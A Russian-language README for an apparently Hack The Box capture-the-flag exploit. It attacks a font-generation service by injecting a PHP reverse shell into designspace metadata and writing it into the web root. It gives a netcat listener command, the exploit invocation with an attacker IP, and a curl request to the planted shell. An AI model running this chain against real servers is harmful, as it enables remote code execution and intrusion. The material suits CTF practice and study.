CVE-2025-66034-htb-ctf

VariaType Variable Font Generator Exploit

Этот репозиторий содержит специализированный эксплойт для машины VariaType на Hack The Box. Эксплойт использует уязвимость в том, как библиотека fontTools или веб-приложение обрабатывает .designspace XML-файлы и интерполяцию метаданных, чтобы достичь удаленного выполнения кода (RCE).

📝 Описание

Уязвимость существует в процессе генерации шрифтов. Создавая вредоносный файл designspace, мы можем внедрить полезную нагрузку PHP reverse shell в метаданные шрифта (в частности, поле <labelname>). Когда сервер обрабатывает эти файлы для генерации переменного шрифта, он записывает результат по заданному пользователем пути, что позволяет нам разместить .php shell в корне веб-сервера.

🛠️ Особенности

• Автоматическая генерация шрифтов: Создает валидные основные шрифты source-light.ttf и source-regular.ttf с помощью fontTools.
• XML-инъекция: Генерирует вредоносный файл designspace с полезной нагрузкой PHP, обернутой в CDATA.
• Обход пути/Произвольная запись файла: Пытается сохранить полученный «шрифт» как файл .php в публичной директории.
• Рандомизация: Генерирует уникальные имена shell для избежания конфликтов.

🚀 Требования

У вас должен быть установлен Python 3 и следующие библиотеки:

pip install fontTools requests

💻 Использование

1. Запустите ваш слушатель

На вашей локальной машине (или Pwnbox) запустите слушатель Netcat:

nc -lvnp 4444

2. Запустите эксплойт

Выполните скрипт, указав ваш IP-адрес HTB VPN и порт слушателя:

python3 exploit.py --ip <YOUR_IP> --port 4444

3. Активируйте shell

Если загрузка возвращает 200 OK (или иногда даже 500, если обработка происходит до ошибки), скрипт предоставит имя файла. Получите к нему доступ через curl или ваш браузер:

curl http://portal.variatype.htb/shell_xxxxxx.php

⚙️ Аргументы

⚠️ Отказ от ответственности

Этот скрипт предназначен только для образовательных целей и авторизованного тестирования на проникновение. Доступ к целям или их атака без предварительного разрешения незаконны.

Как использовать этот README:

1. Сохраните содержимое выше как README.md в той же папке, что и ваш скрипт.
2. Убедитесь, что ваш скрипт называется exploit.py, или обновите имя файла в командах выше.